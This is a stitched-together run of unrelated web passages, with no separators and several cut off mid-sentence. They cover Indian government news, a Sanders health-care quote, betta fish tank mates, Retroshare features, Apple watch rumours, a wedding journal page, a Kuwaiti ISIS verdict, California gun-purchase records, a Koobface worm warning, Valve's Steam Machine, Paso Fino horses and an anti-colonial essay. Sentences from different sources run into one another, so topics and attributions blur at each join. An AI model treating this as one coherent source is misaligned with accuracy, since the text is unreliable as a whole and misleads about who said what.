Minister Narendra Modi in Canada’s capital Ottawa on April 16. The programme seeks to invite distinguished academicians, entrepreneurs, scientists, experts from premier institutions from across the world, to teach in the higher educational institutions in India. 7. Having opened over 12 crore Jan Dhan bank accounts under its flagship financial inclusion programme, the government is now mulling over ways to step up the utilisation of these accounts, including through POS transactions and the Business Correspondents. A meeting has been called by the Finance Ministry on Tuesday, 7 April, of representatives from public sector banks and the business correspondents (BCs) of the banks, who can help in last-mile implementation of the inclusion efforts. 8. Dr Mahesh Sharma, Minister of State with Independent Charge for Culture and Tourism and Minister of State for Civil Aviation, Government of India, said that the nation is keen to take forward its relationship with China and it is in this background that they are keenly exploring the possibility of extending the facility of Tourist Visa on Arrival (TVoA) to China. 9. A workshop was organised in Kolkata by the I&B ministry, in collaboration with OneWorld Foundation India, to address various issues related to community radio stations. Jaitley announced in New Delhi last month that the application process for opening a CR station would now go online, a move aimed at simplifying the entire process. The PIB never played it up even as the floodgates of community radio stations opened up. 10. Most glaringly, the splendid rescue operations of Indians held up in Yemen, supervised by External Affairs Minister Sushma Swaraj and her deputy Gen VK Singh, is not screaming through the headlines of the government’s information outlet.Senator and 2016 presidential candidate Bernie Sanders (I-VT) told ABC News’ George Stephanopoulos Sunday morning that he would move for a “Medicare-for-all, single payer” health care system, though he acknowledged that this was not an immediately practical goal. “We need to join the rest of the industrialized world,” Sanders said. “We are the only major country on earth that doesn’t guarantee
war. The war in Afghanistan has already fueled dangerous Islamist militancy in Pakistan and had helped al Qaeda find more recruits. Unfortunately, Obama is not the only person in the United States who fails to understand this key cause of anti-U.S. terrorism originating from the Islamic world. The foreign policy establishment–both Democratic and Republican elements–believes that the United States must solve all of the Islamic/Arab world’s problems to turn things around there. For example, the establishment New York Times, in a news article on Obama’s Cairo speech, pontificated: For Mr. Obama to win favor,... he needs to address the challenges facing the Arab world, from poverty and inadequate education systems to limits on democracy and human rights. That is exactly wrong and a complete misunderstanding of the roots of the basic problem. The imperial mentality of solving all such problems got the United States into its current riff with the Islamic world. To get rid of this dangerous source of friction, the United States should just stop meddling in that part of the world.Fantastic Betta Fish Tank Mates For a 10 Gallon Tank White Cloud Minnows CC BY-SA 3.0, Link Care Level: Easy Size: 1-2 Inches Temperate Requirements: 60-72 °F PH Range: 6.0-7.0 Native to Chinese mountain streams, the White Cloud Mountain Minnow is an ideal fish compatible with Bettas. This is a peaceful and easy-to-care-for fish that won’t nip at the fins of your Betta and won’t be seen as a threat. They also enjoy a similar diet and water pH as Bettas, so you won’t have to find that perfect chemical balance for all your fish to thrive. White Cloud Mountain Minnows are used to a colder water temperature than Bettas, but setting your temperature around 75 degrees (F) should keep both species happy. Neon Tetra By Tan Meng Yoe at English Wikipedia – Author: Faltasian., CC BY 4.0, Link Care Level: Easy Size: 1.5 Inches Temperate Requirements: 68-77 °F PH Range: 6.0-7.5 Neon tetras are small freshwater fish that get along well with Bettas, they will also add colour and activity to your Betta tank and they are great for beginners. Because Neon Tetras stay quite small and have a peaceful temperament, they are often found in small community aquariums and can live up to 10 years if kept healthy. Ember Tetra By Usien – Own work, CC BY 3.0, Link Care Level: Easy Size: 1 Inches Temperate Requirements: 75-82 °F PH Range: 5.5-7.0 Like the other fish on this list, the Ember Tetra is generally peaceful and submissive, and is not known to nip at fins. Unlike bright Neon Tetras, Ember Tetras have a dull color that won’t attract a Betta’s attention. These qualities make this fish another great tank mate for your male Betta fish because they won’t annoy or seem threatening to your Betta. And if your Betta fish did try to start something, Ember Tetras are small and fast enough to escape unharmed. Ember Tetras thrive in the same tank conditions as Bettas, and enjoy tanks with a lot of vegetation to explore. A small school of Ember Tetras should peacefully coexist with your Betta fish and will add variety to your tank. Harelquin Rasbora By Billyhill – Own work, CC BY-SA 3.0, Link Care Level: Easy Size: 1.5 Inches Temperate Requirements: 73-82 °F PH Range: 6.0-7.0 Harlequin rasboras may be the ultimate male Betta fish tank mates because they naturally coexist with Bettas in the wild without a problem. Rasboras are small and not known to be aggressive or nip at fins, so chances are low that your Betta will see them as threatening. They are also used to the same diet and habitat as Bettas, which will make setting up and balancing your tank much simpler. Rasboras can add a touch of flash to your tank with their metallic orange coloring and signature triangular black markings. Throw your Betta into a tank with a school of 8-10 Rasboras and you should have a peaceful community of beautiful fish. Celestial Pearl Danio [Galaxy Rasbora] By Uccio D’Agostino – Own work, CC BY 4.0, Link Care Level: Easy Size: 2 Inches Temperate Requirements: 67-72 °F PH Range: 6.0-7.5 The Celestial Pearl Danio is a relatively, easy-to-care-for fish, it does best in a peaceful community aquarium or a well-planted aquarium of at least 10 gallons. And because of its small size and peaceful temperment is a great Betta friendly fish and tank mate. Silver Tip Tetra By Debivort at English Wikipedia, CC BY-SA 3.0, Link Care Level: Easy Size: 2 Inches Temperate Requirements: 64-82 °F PH Range: 5.8-8.5 The Silver Tip Tetra is a quick sleek tetra with shimmering white/silver fin tips. It will do best in groups of 6 in a community tank of small peaceful fish. Pygmy Cory Care Level: Easy Size: 1 Inch Temperate Requirements: 72-79 °F PH Range: 6.4-7.4 The Pygmy Corydoras is the smallest species of Corydoras Catfish, only growing to about 1 inch in length. Corydoras are bottom feeders so they generally won’t interfere with your Betta fish, which prefers to cruise around the upper layers of the tank. They are also peaceful by nature and their dull gray colors blend well with sand and gravel, so your Betta may not even notice that it has a tankmate. Another advantage of Corydoras is that they enjoy similar water conditions as Betta fish and will do well in the same tank environment. A school of 6-10 small catfish in a 10-gallon tank are the perfect companions for your male Betta fish, and these two species should get along swimmingly. Albino Cory Care Level: Easy Size: 1.5 Inches Temperate Requirements: 74-80 °F PH Range: 7.0-8.0 Cory Catfish (General) Panda Cory Care Level: Easy Size: 1.5 Inches Temperate Requirements: 72-80 °F PH Range: 7.0-8.0 Ghost Shrimp Care Level: Easy Size: 1.5 Inches Temperate Requirements: 72-80 °F PH Range: 7.0-8.0 Ghost shrimp are almost translucent and are very pale in color, which means they are unlikely to attract the attention of your Betta fish. They’re small and will stay out of the way, and your Betta will most likely leave them alone. They’re also scavengers so they’ll work to keep your tank clean. Ghost Shrimp prefer aquariums of at least 10 gallons with plenty of places to hide. With a small community of Ghost Shrimp alongside your Betta, you should have a clean and peaceful tank. Nerite Snail Care Level: Easy Size: 0.5-1 Inches Temperate Requirements: 72-80 °F PH Range: 7.5-8.0 African Dwarf FrogChat Send text and images. Discuss with various people in decentralized chat rooms (like IRC). Express your emotions with the rich smiley set. Use distant chat to securely chat with friends-of-friends. Mail Send encrypted messages to other members of the network. Retroshare securely stores messages on friends' nodes to deliver messages while you're offline. File sharing Share files with your friends or with the whole network. Use the search to find files. Retroshare uses swarming similar to BitTorrent, to accelerate transfers. This makes it possible to share large files. Your privacy and anonymity is guaranteed beyond direct friends with anonymous tunnels. Forums You can read and write forum posts offline. This is perfect while you're on the go. When you have an Internet connection, Retroshare will automatically sync forums with your friends. Decentralized forums are censorship resistant by design. Links Share your favorite links. See which links others like. Vote and discuss them using the built-in commenting system. Channels Channels allow you to publish your files. You may subscribe to channels and automatically download the latest files; comment on files and spread them to your friends. Protect your IP with Tor/I2P Retroshare can optionally be used over the Tor and I2P networks. Doing so, even friend nodes cannot see your IP, which allows to safely and anonymously connect to unknown people. While it is always possible to configure a normal Retroshare node to also use Tor, we provide specific builds that embed and manage Tor automatically, to ease things up. This is an excellent way to safely try the software while connecting to untrusted users. Voice and Video (Experimental Prototype) Make free and secure calls with the VoIP plugin. Catch up face to face with a video call.Share Apple’s rumoured iWatch smartwatch may be closer to hitting store shelves than we first thought, with Apple now said to be building a significantly sized team around the project. Sources speaking with Bloomberg have claimed that the Cupertino company has put together a team of 100 product designers to work on a “watch-like device” capable of performing computing tasks that would supplement an iPhone or iPad. Two fairly senior Apple employees are named in association with the project: James Foster, senior director of engineering and Achim Pantfoerder, a program manager. Other managers, marketing teams, software and hardware engineers are also now said to be putting their heads down to make the iWatch a reality. The sudden surge towards a final design is said to come as Apple CEO Tim Cook comes under increased pressure to release a new revolutionary product as rivals like Samsung gain ground on Apple’s current smartphone and tablet marketshare. The latest rumours concerning the iWatch detail a device that sits on the rest, made of a sheet of flexible, curved glass, possibly Corning’s Willow Glass. It’s house an Intel chip and 1.5-inch OLED display and would use Apple’s iOS operating system to run apps, access maps and make use of the company’s Siri voice assistant. Share this: Email Facebook Pinterest LinkedIn Print Reddit Twitter Tumblr Pocket Like this: Like Loading...Father: Pogba wants a better League By Football Espana staff Paul Pogba’s father has claimed that the Juventus midfielder “wants to play in a better League”, amidst links with Real Madrid. Pogba has reportedly been earmarked as Madrid’s next ‘galactico’, although recent speculation claims the Frenchman’s former club Manchester United have moved to the top of the queue, and Fassou Antoine admits Serie A is not competitive enough for his son. “[On his son joining Madrid], it’s interesting, yes,” he was quoted as saying by AS. “What we want is that he plays in a better League. He’ll decide which team he’s going to play for. Pogba was asked by a young fan on Thursday about whether he would join Madrid, to which the 23-year-old replied: “I don’t know, we’ll see.”This visual journal page is very sentimental, it captures a piece of our wedding, a piece of the commitment we made to each other. By the time this page was created, I had spent the last five and a half months planning my dream wedding. I had carefully picked out the venue, food, flowers, music, dresses, suits, table settings, and of course, the invitations. Nick and I had spent the last five and a half months talking about little more than our wedding. And I realized that Nick and I almost forgot what all this planning was for. It was for us, to celebrate our commitment to spend the rest of our lives together. After I came to this epiphany, I realized how little time we had spent together. While we had spent a lot of time planning, discussing, and preparing for the big day, we had not spent quality time together. Once we realized this, for the first time in months, we took a moment and went out on a date. We did not talk about the wedding, we talked about our day to day lives, our lives post wedding, and all the amazing things we were going to do on our honeymoon. It felt like us again, normal, pre-wedding Nick and Whitney. We were planning our wedding, the day to celebrate our commitment to each other. Through this process I should’ve felt closer than ever to Nick, knowing he would soon be my husband, but it was the opposite. I forgot what we were planning for, and I neglected us. I’m thankful I came to this epiphany before our big day. I’m glad I took a step back, and spent quality, non-wedding time with my future husband. I knew I wanted to remember that moment. I decided the best way to do that was to make a page that included our invitation. Our invitation was how our big day was perceived from the outside. We were running around like crazy. trying to get everything done, forgetting what we were planning for. But, no one else saw that. They were coming to celebrate our marriage, to show their support, to be there for us on this incredibly important day. Our invitation was one of the early decisions I made, and it was a decision we made together. I loved the way they looked. They were simple, elegant, and had our wedding colors in them. When the RSVPs began rolling in, I knew it was happening. We were on our way, we were almost finished, we were almost to the moment we had been planning for. The planning was winding down and the celebrating would soon begin. I was about to become Mrs. Panetta. CHALLENGE: Create a page about a commitment. It could be a wedding vow, new job, diet, divorce, house, or even a commitment as simple as trying to make your bed everyday. To make this visual journal page I incorporate our wedding invitation, envelope, RSVP card, one of our engagement pictures, construction paper, and book pages. I wanted the page to have a vintage feel to it, so I wanted the base to have a brownish tint to the paper. I found an old book, with stained pages, and glued them down to the background. I knew I wanted the invitation to be placed in the center, and I wanted it to stretch between both pages. I carefully placed them, but decided the page needed more. Since our colors were blue and brown, and there was a lot of brown in the invitation, I decided to incorporate blue construction paper. I used three different blue pieces of construction paper, and ripped them up into small pieces. I placed them along one edge of the invitation and the RSVP card. I liked how it looked when I had the colors arranged going from lightest color blue to darkest, and when I put a light color book page right along the edge of the invitation, it all came together, Since Nick and I were planning this big day for us, and since I had almost forgotten that already, I knew I wanted to include a picture of us in the page. I chose a black and white photograph from our engagement session, I thought it went well with the vintage style I was trying to achieve. To help it blend in, and not overpower the invitation, I did a tape transfer. I played around with various spots on the page, and realized I was going to have to cut the image down since the invitation took up the majority of the space. Rather than cut it into a smaller rectangle, I decided to cut along the lines of the rock wall behind us. I took the extra pieces of the rock wall and placed them around the page to balance out the black and white image. It took me a number of tries to get the tape transfer placed just right. I ended up having to go back, and cover up the words in the area our faces were going to be. I decided to do this because the image was transparent, and the words in the background overpowered the details in our faces. If something isn’t working just right don’t be afraid to make changes. I hope you enjoyed today’s post! If you did, help me spread the word by e-mailing, linking, tweeting, subscribing, and please feel free to comment! Thanks for stopping by. [subscribe2]A Kuwaiti court has jailed three Arab supporters of ISIS militant group, in a first for the Gulf emirate, newspapers reported Friday. The court sentenced a Kuwaiti to 10 years in jail for urging support for the group and also for insulting Kuwait’s ruler in public. An Egyptian and a Jordanian were handed four-year terms for helping him distribute pro-ISIS leaflets, local media reports said, quoting Thursday's ruling. The verdicts can be appealed but the men are in currently in prison. It was the first such Kuwaiti court ruling against supporters of ISIS, the target of US-led air strikes in Syria and neighboring Iraq. Kuwaiti courts are examining two similar cases. In September, police arrested several suspected ISIS members under the Gulf state’s commitment to the U.S.-led coalition against the jihadists. Dozens of Kuwaitis have fought alongside rebel groups in Syria battling President Bashar al-Assad’s regime, and a number have been killed in the conflict. Last Update: Friday, 19 December 2014 KSA 14:16 - GMT 11:16Neither Matt Dittmer nor the people he shoots with are happy about a new law that will preserve information about their gun purchases in a California state database. But he is resigned to it. “I don’t like it, but I’m living in a state where I don’t have a choice,” Dittmer said as he stopped by Auburn Outdoor Sports on a recent afternoon to buy a sleek black AR rifle. In the aftermath of a horrific shooting at Sandy Hook Elementary School in Connecticut, California lawmakers advanced dozens of gun control measures in 2013. Despite that fervor for tougher firearms laws, the most stringent and far-reaching measures largely failed. The discards included a bill by Senate President Pro Tem Darrell Steinberg, D-Sacramento, that would have outlawed semi-automatic weapons with detachable magazines. Even as those bills met their demise, a previously passed gun control measure loomed. Assembly Bill 809, signed into law in 2011, imposes on rifles and shotguns the same record-keeping requirements that currently apply to handguns. Sign Up and Save Get six months of free digital access to The Sacramento Bee Starting on Jan. 1, 2014, the California Department of Justice will retain information on long-gun purchases, data it had formerly been compelled to destroy within five days. Dealers will need to register purchases with the state. Dittmer said it wouldn’t influence the types of firearms he chooses to purchase, despite his view that the measure is symptomatic of California’s increasingly constricting gun restraints. “It won’t affect me personally,” Dittmer said, “because I do abide by all the laws.” While Dittmer said his shooting range compatriots are anticipating the law, it was the first that Nancy Stewart, who had stopped in to pick up a pair of.22-caliber rifles to expand the family collection, had heard of it. Stewart said the measure wouldn’t deter her from buying a gun. But it did give her pause. “You wonder, what does this information mean?” said Stewart, a 55-year-old paralegal who lives in Grass Valley. “My ultimate concern is if someone knocks on my door and says you’ve got three guns, we need two of them.” Other reactions among gun advocates range from bewildered to disturbed. “This is the one that sends the tremor, that reaches every owner in the state,” said Sam Paredes, executive director of Gun Owners of California. “It is the one that scares us the most.” Supporters of the legislation said it closes a dangerous gap in California’s gun laws, creating uniformity in firearms regulations by treating pistols and rifles the same. “One of the things the Legislature found persuasive is that long guns play a large role in our state’s epidemic of gun violence,” said Juliet Leftwich, legal director for the Law Center to Prevent Gun Violence, one of AB 809’s sponsors. Dozens of police chiefs backed the bill as an addition to their law enforcement arsenal. They said it will bolster efforts to trace guns recovered at crime scenes and to seize guns from people legally barred from owning them because of past crimes or mental illness. Officials will have more comprehensive gun purchase data to compare against California’s Armed and Prohibited Persons list, a catalog of people banned from owning guns that the Legislature fortified with an extra $24 million this year. It will also help protect officers conducting criminal investigations by informing them of the type of firepower they might encounter, said Fairfield police Chief Walt Tibbet. “Currently the one area we are very vulnerable in is trying to understand the availability of long guns, and more and more we’re seeing suspects with either rifles or sawed-off rifles,” Tibbet said. “It’s not our intent to take guns away from law-abiding citizens,” he added. “I’m trying to keep my officers from being shot.” Gun owners critical of the law argue it will target people who purchase their guns legally and leave a paper trail, rather than those who obtain their guns illicitly. “It really does nothing to address the criminals themselves,” said Shasta County Sheriff Tom Bosenko, one of a minority of law enforcement officials to openly oppose the bill. “Generally, the criminals that have firearms, they aren’t on any database.” Beneath questions about the law’s effectiveness lies a sense of unease about how the trove of data will be used. Many gun owners see a sinister intent behind a measure tied to confiscating guns, Paredes said. He predicted that fear would lead to a surge in sales before the new law kicks in. “Everybody is running down to the local gun store and buying whatever long guns they want to have and don’t want the government to know they have it,” Paredes said. “I think between now and Dec. 31, you’ll see quite a run on long guns.” Auburn Outdoor Sports would seem to affirm Paredes’ forecast. The store has run ads bearing the phrase “LEGISLATIVE ALERT” and warning that customers have until the new year “to purchase your non-registered rifle or shot gun.” But Billy Prior, the store’s owner, said he has not seen an influx of customers looking to buy guns before the law changes. Prior, 48, has been in the business long enough to see how people react to new regulations, and he said younger gun owners already expect registration. The loudest dissenters, Prior predicted, will soon adapt. “Some people say, ‘Forget it, I’m not buying a gun after the first of the year.’ They’re going to buy what they want now,” Prior said. “But what’s going to happen is six months from now, a year from now, something is going to come out, they’re going to want it and they’re going to buy it.” Anecdotal evidence has long-gun sales ranking “somewhere between average and exceptional” this month, according to Brandon Combs, president of the California Association of Federal Firearms Licensees. That could reflect a seasonal phenomenon, Combs said, as people head to gun stores to pick out Christmas presents. Still, Combs has heard skepticism of how the new purchase record requirements will play out. His organization is already mulling lawsuits on behalf of gun owners Combs said were mistakenly flagged by the state as ineligible to possess firearms. “I think it’s not entirely unfounded, a fear of the state misusing the information,” Combs said. Only people who pose a legitimate public-safety risk will have anything to worry about, said Steve Lindley, director of the California Department of Justice’s Bureau of Firearms. “If you do become prohibited, we are going to come confiscate your firearms,” Lindley said. “But only people who have done something in their life – committed a felony, committed a violent misdemeanor, they are a fugitive from justice or they have been deemed mentally ill and a danger to themselves or others. We need to take action and prevent those people from possessing firearms.” That prohibited class represents a small sliver of California’s population of gun owners, Lindley said. Otherwise, gun owners can rest easy: His department has no plans to “go out and confiscate people’s firearms for no reason.” “We still have our Second Amendment rights here in California,” he said.For this project I went to a lot of bars and I literally threw myself at men who I didn't know. I used my body as a projectile, hurling myself toward strong, vulnerable men who were waiting to catch me. Poised in a perpetual state of social awkwardness and in full possession of the ability to subvert stereotypical gender roles, the photographs pose questions concerning relationships, social connection, sex, gender, and the desire to form relationships quickly that are both intense and long lasting. The project initially started after I placed ads on Craigslist.org looking for men who would meet me blind date style in bars and allow me to throw myself at them. This project comes from a place where the desire to make a positive connection with another person is coupled with the knowledge that a connection might not be possible, that the person might not catch me.Hey, I have this hilarious video of you dancing. Your face is so red. You should check it out. If you've received a message like that through Facebook or MySpace, you may have been exposed to the "Koobface" virus. "Koobface" comes through an e-mail sent by one of your social networking site friends inviting you to scope out a video. Once the URL is clicked, "Koobface" prompts you to update your Flash player before the video can be displayed. Therein lies the virus, cloaked in a "flash_player.exe" file. According to the Kaspersky Lab, an antivirus organization working closely with Facebook, "the worms transform victim machines into zombie computers to form botnets." The McAfee Security Blog explains that when "Koobface" infects your computer, it prompts a downloaded service named Security Accounts Manager (SamSs) to load on start-up. SamSs then proxies all HTTP traffic, stealing results from popular search engines and hijacking them to lesser-known search sites. A clear eye for fraud will help you avoid this mess. You can usually spot phony e-mails by their titles. Kaspersky found the following: Paris Hilton Tosses Dwarf On The Street; Examiners Caught Downloading Grades From The Internet; You must see it!!! LOL. My friend catched you on hidden cam; Is it really celebrity? Funny Moments. My own "Koobface" attack came in an e-mail entitled, lool, yoour blushingg afce is so funny! Checkk out. Obviously, Paris Hilton never threw dwarves, and in all likelihood, my 26-year-old friend knows how to spell more than two words. These are clear indicators you're being attacked. Facebook has posted instructions about how to remove the "Koobface" virus: give your computer an antivirus scrub-down and change your Facebook password. This attack on the world's most popular social networking site and its 120 million users comes just weeks after Facebook won an $873 million lawsuit against several people accused of hacking user accounts and spreading spam.Originally published November 4, 2013 at 1:11 AM \| Page modified November 5, 2013 at 6:45 AM Hoping to break fresh ground in its industry, Bellevue game developer Valve will release a prototype Steam Machine computer of its own design, complete with an operating system and a game controller the company also developed in-house. Bellevue game company Valve didn’t particularly want to overhaul the entertainment PC business. But the big industry players were dropping the ball, from Valve’s perspective. So in addition to building blockbuster games and running one of the world’s leading gaming networks and storefronts, Valve taught itself to build computers. And operating systems. And game controllers. It’s an audacious effort to convince the vast and established PC industry that there’s another path to the living room besides the one blazed by Microsoft and Intel. It’s also unclear how many of Valve’s 65 million customers — much less the rest of the world’s consumers — are interested in an entirely new game system competing against the Xbox, PlayStation and Wii platforms. But it’s still exciting to see a relatively small company apply so much creativity and innovation to a market segment that desperately needs defibrillation. Valve is about to release the first batch of prototype Steam Machine computers that it designed, running an operating system the company developed in-house. These souped-up boxes work with an entirely new game controller that Valve designed and built from scratch in workshops the company cobbled together in Bellevue, partly with tools scavenged from co-founder Gabe Newell’s garage. Apparently, Valve is a believer in the old saying, if you want something done right, you’ve got to do it yourself. Early on, it worked with design and prototyping vendors, but decided that it could learn more doing it all in-house. Valve also is redefining the PC industry term “original equipment manufacturer,” or OEM. Its offices in a downtown Bellevue high-rise now have 3-D printers whirring away printing PC components, right next to a room full of programmers intently peering into their big monitors. There are also laser-cutting machines and other tools for designing, building and testing prototypes. The landlord said no to a full-blown factory, so the game controllers that Valve is providing to 300 testers this fall are being produced by employees at a shop in Overlake. If the platform takes off, Valve eventually will contract for large-scale manufacturing of controllers. Open platform Valve doesn’t plan to be the next Hewlett-Packard or Apple. It already has an incredibly profitable business building and distributing game software, which it’s done since Newell and co-founder Mike Harrington left Microsoft and started the company in 1996. Instead, Valve is trying to encourage PC makers to build their own Steam Machines using the Steam OS, providing an open platform on which Valve can continue growing and offering gamers an alternative to consoles. A variety of Steam Machines, and entertainment applications for the new platform, are likely to be unveiled in January at the Consumer Electronics Show in Las Vegas and go on sale by mid-2014. The company revealed its plans in September and last month, when it provided a glimpse into its workshops and a demonstration of its hardware. During the tour, company designers explained that they're trying to advance the stagnant PC hardware platform and provide an open platform on which other companies can innovate. Microsoft used to fill this role, but it’s now making the Xbox its entertainment platform and, from Valve’s perspective, turning Windows into a more closed garden. Living-room appeal So now about 40 of Valve’s 330 employees are tinkering with hardware and trying to make the PC platform better for entertainment. “We think the PC OEM space ought to have been doing this for quite some time,” Valve designer Greg Coomer said. “Really, every year you could watch one PC OEM or another say, ‘We are going to build the entertainment PC for the living room’ and build something that lives under the TV,” Coomer continued. “They would often do pretty well at cooling or industrial design, but that was only a fraction of the problems they need to solve for customers to have a good entertainment experience in the living room.” Heat and noise are a concern, so Valve developed a series of baffles to better handle cooling and airflow in its Steam Machine PCs. Operating systems designed more for work than play also limit the appeal of living-room PCs. So Valve built SteamOS, which runs on Linux but looks and feels like a polished, consumer-electronics system. OS wraparound The approach is similar to the way Amazon.com used a version of Android to build the operating system for its Kindle Fire tablets. Android is completely wrapped in the bright and simple Kindle interface, so it doesn’t feel like a computer. Users who poke around the SteamOS can still get to Linux, though. They can also load Windows and productivity software onto a Steam Machine and use it for work as well as play. But it’s not ideal to use a mouse and keyboard on the sofa, even though they’re required for most of the 3,000 PC games in Valve’s library. So the company designed a controller that can mimic mouse and keyboard commands. “It isn’t until this coming year,” Coomer said, “when there are going to be enough of those pieces that all work together that we can say in a credible way to all of our customers — ‘Hey, if you’re one of the people who likes to play games in the living room, and we know there are a lot of you — now we have enough dots connected that we think you should try this.’ ” Touch controller The Steam controller feels a bit like the new Sony PlayStation 4 controller, with distinctly curved handles. Instead of joysticks for the thumbs, it uses clickable touch pads that sense the speed, direction and pressure of gestures. The controllers provide all sorts of flexibility to work with new and old games, but there will be a learning curve for players used to Xbox-type controllers. Game developers who have tried the hardware are intrigued. “The fact that the input device is something you can pull apart and play with is fantastic — both for us as developers, but also as gamers and people who like to tinker,” Hannes Seifert, head of Copenhagen studio IO Interactive, said via email. “Bringing traditional PC gaming to the couch shows incredible ambition, but if anyone can pull off something like this, it’s probably Valve,” Seifert said. Tommy Refenes, a Kirkland developer who co-created the hit “Super Meat Boy,” doesn’t expect the controller to change game development much. “Overall, it’s just another controller,” he said. Regardless of the new hardware, Refenes plans to release his next game — “Mewgenics,” about a cat lady who breeds cats — on the Steam game service, since it accounted for 70 percent of “Super Meat Boy” sales. Tinkering won’t stop Valve’s platform can be used for more than entertainment. The company last year began selling nongaming software through Steam, suggesting that Steam Machines eventually could migrate from the living room to the office. Even more exciting, though, are some of the gadgets the company is building and experimenting with in its dreamy new workshops overlooking downtown Bellevue. Mobile devices are a possibility. The company also is tinkering with wearable computing systems and headsets for augmented-reality and virtual-reality gaming that could emerge next year. I guess when you’ve got toys like Valve’s at hand, it’s hard to stop playing. Brier Dudley’s column appears Mondays. Reach him at 206-515-5687 or bdudley@seattletimes.com.These two groups have been frequently crossbred in the United States and Europe. In recent years, a trend has developed favoring preservation breeding to preserve the undiluted bloodlines of each group. The Paso Fino is a naturally gaited light horse breed dating back to horses imported to the Caribbean from Spain. Pasos are prized for their smooth, natural, four-beat, lateral ambling gait; they are used in many disciplines, but are especially popular for trail riding. In the United States two main groups of horses are popularly called "Paso Fino": One, also known as the Pure Puerto Rican Paso Fino (PPR), originated in Puerto Rico. [1] The other, often called the Colombian Paso Fino or Colombian Criollo Horse (CCC), developed in Colombia. Though from similar Spanish ancestors, the two groups developed independently of one another in their home nations. The Paso Fino name means 'fine step'. The Paso Fino is a blend of the Barb, Spanish Jennet, and Andalusian horse and was bred by Spanish land owners in Puerto Rico and Colombia to be used in the plantations because of their endurance and comfortable ride. All Pasos share their heritage with the Peruvian Paso, the American Mustangs, and other descendants of Colonial Spanish Horses. Puerto Rican and Colombian horses, as well as Paso Finos from Cuba and other tropical countries, have been interbred frequently in the United States to produce the modern American Paso Fino show horse. On the second voyage of Christopher Columbus from Spain to the Americas in 1493, he disembarked with his soldiers, 20 horses and 5 mares on the island of Borinquen at the bay of Aguada (today Añasco), and gave the region the name San Juan Bautista.[2][3] Soon after, in May 1509, the first governor of the island, Juan Ponce de León, brought horses to Puerto Rico from his hacienda, El Higuey, located on the neighboring island of La Española (now Hispaniola).[4] Puerto Rican Paso Fino Edit Dulce Sueno The Puerto Rican Paso Fino was developed on the Caribbean island of Puerto Rico over a 500-year colonial period. Island geography and the desires of a people for hardy, sure-footed, comfortable horses led to the independent development of the breed. Frenchman Andres Pedro Ledru, in a notation about horse races held on the 17 of July, 1797, wrote that the speed of these indigenous horses was admirable, "they have no trot or gallop, but a type of pace (Andadura). A gait so precipitated that the eye can't follow the movement of the legs."[5] As early as 1849, Paso Fino competitions were held in Puerto Rico, with prizes for winners, for the purpose of improving local horses. In 1882 the first racetrack was built, and in every race meet, there were Paso Fino and Andadura categories.[6] According to Ramirez de Arellano, when the United States invaded Puerto Rico, the Paso Fino played a first order role in transportation as well as agricultural work. Manchado, a notable horse of the time owned by Don Nicolás Quiñones Cabezudo of Caguas, was said to be "so fine that it gaited at liberty without its rider in the town square when asked." [7] In 1927 the most influential sire in the modern Puerto Rican Paso Fino breed, Dulce Sueño, was born in Guayama.[8] In 1943, the Federation of the Sport of Paso Fino Horses of Puerto Rico and a breed registry were established. Copita Don Q, a Dulce Sueño grandson, was the winner of
in certain cases imperialist capital or moribund capitalism has had sufficient self-interest, strength and time to increase the level of productive forces (as well as building towns) and to allow a minority of the local population to attain a higher and even privileged standard of living, thus contributing to a process which some would call dialectical, by widening the contradictions within the societies in question. In other, even rarer cases, there has existed the possibility of accumulation of capital, creating the conditions for the development of a local bourgeoisie. On the question of the effects of imperialist domination on the social structure and historical process of our peoples, we should first of all examine the general forms of imperialist domination. There are at least two forms: the first is direct domination, by means of a power made up of people foreign to the dominated people (armed forces police, administrative agents and settlers); this is generally called classical colonialism or colonialism is indirect domination, by a political power made up mainly or completely of native agents; this is called neocolonialism. In the first case, the social structure of the dominated people, whatever its stage of development, can suffer the following consequences: (a) total destruction, generally accompanied by immediate or gradual elimination of the native population and, consequently, by the substitution of a population from outside; (b) partial destruction, generally accompanied by a greater or lesser influx of population from outside; (c) apparent conservation, conditioned by confining the native society to zones or reserves generally offering no possibilities of living, accompanied by massive implantation of population from outside. The two latter cases are those which we must consider in the framework of the problematic national liberation, and they are extensively present in Africa. One can say that in either case the influence of imperialism on the historical process of the dominated people produces paralysis, stagnation and even in some cases regression in this process. However this paralysis is not complete. In one sector or another of the socio-economic whole in question, noticeable transformations can be expected, caused by the permanent action of some internal (local) factors or by the action of new factors introduced by the colonial domination, such as the introduction of money and the development of urban centers. Among these transformations we should anticipate a progressive loss of prestige of the ruling native classes or sectors, the forced or voluntary exodus of part of the peasant population to the urban centers, with the consequent development of new social strata; salaried workers, clerks, employees in commerce and the liberal professions, and an instable stratum of unemployed. In the countryside there develops, with very varied intensity and always linked to the urban milieu, a stratum made up of small landowners. In the case of neo-colonialism, whether the majority of the colonized population is of native or foreign origin, the imperialist action takes the form of creating a local bourgeoisie or pseudo-bourgeoisie, controlled by the ruling class of the dominating country. The transformations in the social structure are not so marked in the lower strata, above all in the countryside, which retains the characteristics of the colonial phase; but the creation of a native pseudo-bourgeoisie which generally develops out of a petty bourgeoisie of bureaucrats and accentuates the differentiation between the social strata and intermediaries in the commercial system (compradores), by strengthening the economic activity of local elements, opens up new perspectives in the social dynamic, mainly by the development of an urban working class, the introduction of private agricultural property and the progressive appearance of an agricultural proletariat. These more or less noticeable transformations of the social structure, produced by a significant increase in the level of productive forces, have a direct influence on the historical process of the socio-economic whole in question. While in classical colonialism this process is paralyzed, neo-colonialist domination, by allowing the social dynamic to awaken (conflicts of interests between native social strata or class struggles), creates the illusion that the historical process is returning to its normal evolution. This illusion will be reinforced by the existence of a political power (national state) composed of native elements. In reality it is scarcely even an illusion, since the submission of the local ‘ruling’ class to the ruling class of the dominating country limits or prevents the development of the national productive forces. But in the concrete conditions of the present-day world economy this dependence is fatal and thus the local pseudo-bourgeoisie, however nationalist it may be, cannot effectively fulfill its historical function; it cannot freely direct the development of the productive forces; in brief it cannot be a national bourgeoisie. For as we have seen, the productive forces are the motive force of history, and total freedom of the process of their development is an indispensable condition for their proper functioning. We therefore see that both in colonialism and in neo-colonialism the essential characteristic of imperialist domination remains the same: the negation of the historical process of the dominated people by means of violent usurpation of the freedom of development of the national productive forces. This observation, which identifies the essence of the two apparent forms of imperialist domination, seems to us to be of major importance for the thought and action of liberation movements, both in the course of struggle and after the winning of independence. On the basis of this, we can state that national liberation is the phenomenon in which a given socio-economic whole rejects the negation of its historical process. In other words, the national liberation of a people is the regaining of the historical personality of that people, its return to history through the destruction of the imperialist domination to which it was subjected. We have seen that violent 